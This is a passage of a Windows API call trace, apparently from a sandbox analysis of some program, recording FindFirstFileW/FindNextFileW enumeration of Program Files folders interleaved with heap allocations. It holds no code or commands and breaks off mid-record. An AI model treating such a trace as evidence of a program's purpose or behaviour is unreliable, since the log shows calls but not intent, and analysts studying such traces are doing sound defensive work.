ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0063.482] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.483] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f848) returned 1 [0063.483] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040020) returned 1 [0063.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="zh-tw", cAlternateFileName="")) returned 0xffffffff [0063.484] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff98) returned 1 [0063.484] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040030) returned 1 [0063.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd69f8a60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd69f8a60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.484] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd69f8a60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd69f8a60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.484] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd20a0480, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20a0480, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0063.484] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040030 [0063.484] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x46) returned 0x203ff98 [0063.484] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.484] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040020 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x40) returned 0x2034f58 [0063.493] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd19c8540, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd19c8540, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040210 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x50) returned 0x1fb0590 [0063.493] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a959b90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x1a959b90, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1a959b90, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040220 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x54) returned 0x1fb05e8 [0063.493] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040230 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x1fb0648 [0063.493] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd26478c0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd26478c0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040240 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x56) returned 0x1fb0690 [0063.493] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xd207a320, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd207a320, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040250 [0063.493] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x58) returned 0x1fb06f0 [0063.493] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd215eb60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd215eb60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040260 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4e) returned 0x1fb0750 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd2138a00, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd2138a00, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040270 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4c) returned 0x1fb07a8 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd21128a0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd21128a0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040280 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x46) returned 0x1fb0800 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd1c29b40, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1c29b40, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040290 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x56) returned 0x1fb0850 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd24a49a0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd24a49a0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402a0 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x1fb08b0 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402b0 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x56) returned 0x1fb0900 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402c0 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5e) returned 0x1fb0960 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20a0480, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20a0480, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402d0 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4c) returned 0x1fb09c8 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xd1e18d20, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1e18d20, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402e0 [0063.494] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x50) returned 0x1fb0a20 [0063.494] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xd1e18d20, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1e18d20, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="windowspowershell", cAlternateFileName="WID5B1~1")) returned 0 [0063.494] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.495] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c08) returned 1 [0063.495] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040040) returned 1 [0063.495] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.495] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.495] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd207a320, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd207a320, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040040 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x52) returned 0x1fb0a78 [0063.495] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.495] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402f0 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x1fb0ad8 [0063.495] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd207a320, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd207a320, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040300 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a) returned 0x1fb0b40 [0063.495] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040310 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5e) returned 0x1fb0ba8 [0063.495] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xd20a0480, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20a0480, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040320 [0063.495] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x54) returned 0x1fb0c10 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040330 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x48) returned 0x1fb0c70 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040340 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x1fb0cc0 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040350 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x1fb0d30 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040360 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a) returned 0x1fb0da0 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd1a86c20, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1a86c20, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040370 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x52) returned 0x1fb0e08 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd24a49a0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd24a49a0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, 